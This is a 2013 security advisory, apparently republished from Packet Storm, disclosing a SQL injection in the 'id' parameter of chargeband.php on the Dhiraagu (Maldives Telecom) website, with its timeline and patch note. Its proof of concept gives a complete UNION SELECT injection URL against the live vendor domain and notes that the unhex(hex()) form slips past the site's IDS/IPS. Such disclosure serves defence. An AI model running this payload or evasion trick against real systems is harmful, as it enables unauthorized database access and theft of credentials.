Maldives Telecom ISP SQL Injection

2013-06-14T00:00:00
ID PACKETSTORM:122028
Type packetstorm
Reporter Ismail Kaleem
Modified 2013-06-14T00:00:00

Description

                                        
                                            `Title:  
======  
Maldives Telecom ISP - SQL Injection Vulnerability  
  
  
Date:  
=====  
2013-06-15  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=355  
  
  
VL-ID:  
=====  
355  
  
  
Common Vulnerability Scoring System:  
====================================  
9.3  
  
  
Introduction:  
=============  
Dhiraagu takes pride in active involvement in the community in which we serve. As a truly  
Maldivian company, we strongly identify with the community and regularly contribute to  
worthy causes such as education, health and children s development. We also actively support  
the island communities in their social activities.  
  
We fully recognize the importance of sustainable development and caring for the delicate  
environment of our islands and special care is taken to minimize the likelihood of damage  
to the environment resulting from our activities. Dhiraagu is the largest user of solar power  
in the Maldives with solar energy being used as the primary source of power in over 80% of  
the network distribution sites across the country.  
  
In addition, as the national information communications provider bridging the Maldives ,  
we bring environmental benefits to our customers through reductions in travel and the use  
of electronic communications.  
  
(Copy of the Vendor Homepage: http://www.dhiraagu.com.mv/about/community_development.php)  
  
  
Abstract:  
=========  
An independent Vulnerability Laboratory Researcher discovered a remote SQL Injection Vulnerability in the official Maldives Telecom ISP Vendor Website.  
  
  
Report-Timeline:  
================  
2012-12-12: Researcher Notification & Coordination  
2012-12-14: Vendor Notification  
2013-01-30: Vendor Response/Feedback  
2013-06-14: Vendor Fix/Patch  
2013-06-15: Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Critical  
  
  
Details:  
========  
An SQL Injection Vulnerability is detected in the official Maldives Telecom ISP Vendor Website.  
The vulnerability allows to inject/execute own sql commands in the vulnerable application dbms.   
  
The vulnerability is located in the national chare band module when processing to request the   
chargeband.php file with a manipulated id parameter. Remote attackers can inject own sql commands   
to read for example database passwords, usernames, mails & Co.  
  
Exploitation of the vulnerability does not require user interaction or a privilege application   
user account. Successful exploitation of the vulnerability will result in application and dbms compromise.  
  
  
Vulnerable Module(s):  
[+] National Charge Band  
  
Vulnerable File(s):  
[+] chargeband.php  
  
Vulnerable Parameter(s):  
[+] id  
  
  
Proof of Concept:  
=================  
The vulnerability can be exploited by remote attackers (pre-auth) without application user account and without user interaction.   
For demonstration or reproduce ...  
  
PoC: dhiraagu.com.mv  
  
http://www.dhiraagu.com.mv/tariffs/chargeband.php?id=6 having 'smith'='smith1' union select unhex(hex(null)),  
unhex(hex(@@version)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),  
unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),  
unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null))#  
  
Note: There is an IDS/IPS, but this query will allow to bypass the protection because of the unhex(hex to null.  
  
Reference(s):  
http://www.dhiraagu.com.mv/tariffs/chargeband.php?id=6[<SQL INJECTION VULNERABILITY!>]  
  
  
Solution:  
=========  
The vulnerability can be patched by a secure parse of the GET method id parameter request.  
  
  
Risk:  
=====  
The security risk of the remote sql injection vulnerability is estimated as critical.  
  
  
Credits:  
========  
Ismail Kaleem - Senior Security Developer | IT Security Department  
National Centre for Information Technology | Republic of Maldives  
  
  
Disclaimer:  
===========  
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